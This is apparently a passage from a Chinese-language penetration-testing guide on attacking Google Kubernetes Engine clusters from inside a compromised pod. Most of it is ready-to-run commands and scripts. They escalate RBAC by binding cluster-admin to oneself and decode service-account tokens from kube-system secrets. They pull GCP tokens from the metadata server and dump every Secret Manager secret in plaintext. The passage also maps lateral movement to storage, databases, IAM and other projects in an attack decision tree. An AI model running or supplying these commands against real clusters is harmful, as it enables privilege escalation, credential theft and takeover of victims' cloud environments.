# 检查是否可以创建 ClusterRoleBinding(→ 可以给自己 cluster-admin)
kubectl auth can-i create clusterrolebindings
# RBAC 提权: 如果有 bind/escalate 权限
kubectl create clusterrolebinding pwn \
--clusterrole=cluster-admin \
--user=$(gcloud config get-value account)
# 检查危险的 ClusterRoleBinding
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
data = json.load(sys.stdin)
for crb in data['items']:
role = crb.get('roleRef',{}).get('name','')
subjects = crb.get('subjects',[])
for s in subjects:
kind = s.get('kind','')
name = s.get('name','')
ns = s.get('namespace','')
if role in ['cluster-admin','admin']:
print(f'ClusterRoleBinding: {crb[\"metadata\"][\"name\"]} | Role: {role} | {kind}: {name} ({ns})')
"
# 检查 secrets 读取权限 — 最高价值
kubectl auth can-i get secrets --all-namespaces
kubectl get secrets --all-namespaces
# 如果能读取 secrets → 提取其他 SA Token
kubectl get secret -n kube-system -o json | python3 -c "
import json,sys,base64
data = json.load(sys.stdin)
for item in data['items']:
if item['type'] == 'kubernetes.io/service-account-token':
name = item['metadata']['name']
token = base64.b64decode(item['data']['token']).decode()
print(f'{name}: {token[:50]}...')
"从 GKE 横向移动到其他 GCP 服务
横向移动路径:
├─ GKE → GCS
│ ├─ 使用 Pod/Node SA Token 读取 Bucket
│ ├─ Bucket 中可能有配置文件、备份、密钥
│ └─ 写入 Bucket → 供应链投毒(如果 Bucket 用于 CI/CD)
│
├─ GKE → Secret Manager
│ ├─ Pod SA 可能有 secretmanager.secrets.access 权限
│ └─ 提取数据库密码、API 密钥、TLS 证书
│
├─ GKE → Cloud SQL
│ ├─ Cloud SQL Proxy 通常在 sidecar 中运行
│ ├─ 连接信息在 Pod 环境变量或 Secret 中
│ └─ 直接连接数据库(通过 Pod 网络或 Proxy)
│
├─ GKE → Compute Engine
│ ├─ 如果 SA 有 compute 权限 → 创建 VM / SSH 到现有 VM
│ └─ 利用 VM 的不同 SA 进一步横向移动
│
├─ GKE → IAM
│ ├─ SA 有 iam 权限 → 创建密钥 / 分配角色
│ └─ 提权后控制整个 Project
│
└─ GKE → Other Projects
├─ SA 可能有跨 Project 权限
└─ Shared VPC 网络可达其他 Project 的资源# 从 GKE Pod 内横向移动
# 1. → GCS
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | \
python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
curl -s -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=$PROJECT_ID" | \
python3 -c "import json,sys; [print(b['name']) for b in json.load(sys.stdin).get('items',[])]"
# 2. → Secret Manager
curl -s -H "Authorization: Bearer $TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/$PROJECT_ID/secrets" | \
python3 -c "import json,sys; [print(s['name']) for s in json.load(sys.stdin).get('secrets',[])]"
# 访问具体 secret
for secret in $(curl -s -H "Authorization: Bearer $TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/$PROJECT_ID/secrets" | \
python3 -c "import json,sys; [print(s['name'].split('/')[-1]) for s in json.load(sys.stdin).get('secrets',[])]"); do
echo "=== $secret ==="
curl -s -H "Authorization: Bearer $TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/$PROJECT_ID/secrets/$secret/versions/latest:access" | \
python3 -c "import json,sys,base64; print(base64.b64decode(json.load(sys.stdin)['payload']['data']).decode())" 2>/dev/null
done
# 3. → Cloud SQL(通过 Pod 环境变量找连接信息)
env | grep -iE "(sql|db|database|mysql|postgres)"
# 如果有 Cloud SQL Proxy sidecar → 直接连接 127.0.0.1:3306/5432
# 4. → 其他 GKE 集群(如果 SA 有 container.clusters.get)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://container.googleapis.com/v1/projects/$PROJECT_ID/locations/-/clusters"工具
peirates
# https://github.com/inguardians/peirates
# K8s 渗透测试工具,支持 GKE
# 在 Pod 内运行
./peirates
# 功能:
# [1] 获取 SA Token
# [2] 列出可访问的 Secret
# [3] 创建特权 Pod
# [4] 使用 SA Token 执行命令
# [5] 从 metadata 获取 GCP Token
# [6] 挂载 etcdkubectl 攻击插件
# kubectl-who-can: 检查谁有特定权限
kubectl who-can create pods -n default
kubectl who-can get secrets --all-namespaces
# kubectl-access-matrix: 权限矩阵
kubectl access-matrix --sa default -n default
# kubeaudit: 安全审计
kubeaudit all
# kdigger: K8s 信息收集
kdigger dig all攻击决策树
进入 GKE Pod 后:
├─ 1. 信息收集
│ ├─ 检查 SA Token: cat /var/run/secrets/kubernetes.io/serviceaccount/token
│ ├─ 检查 metadata: curl -H "Metadata-Flavor: Google" metadata.google.internal/...
│ ├─ 检查环境变量: env | sort
│ └─ 检查 RBAC: kubectl auth can-i --list
│
├─ 2. 判断集群类型
│ ├─ Autopilot → 跳过容器逃逸,专注 RBAC + Workload Identity
│ └─ Standard → 完整攻击面
│
├─ 3. GCP 维度(优先)
│ ├─ Workload Identity 启用? → 窃取 GSA Token → 横向移动到 GCP 服务
│ ├─ Node SA 有高权限? → 容器逃逸 → 获取 Node SA Token
│ └─ Metadata 可达? → 提取 Token / kube-env
│
├─ 4. K8s 维度
│ ├─ RBAC 允许读 Secrets? → 提取凭据
│ ├─ RBAC 允许创建 Pod? → 创建特权 Pod 逃逸
│ └─ RBAC 允许创建 ClusterRoleBinding? → 提权到 cluster-admin
│
└─ 5. 横向移动
├─ GCS Bucket → 敏感数据
├─ Secret Manager → 密码/密钥
├─ Cloud SQL → 数据库
└─ 其他 Project → 跨项目攻击Related skills
AI & Agent Buildingagents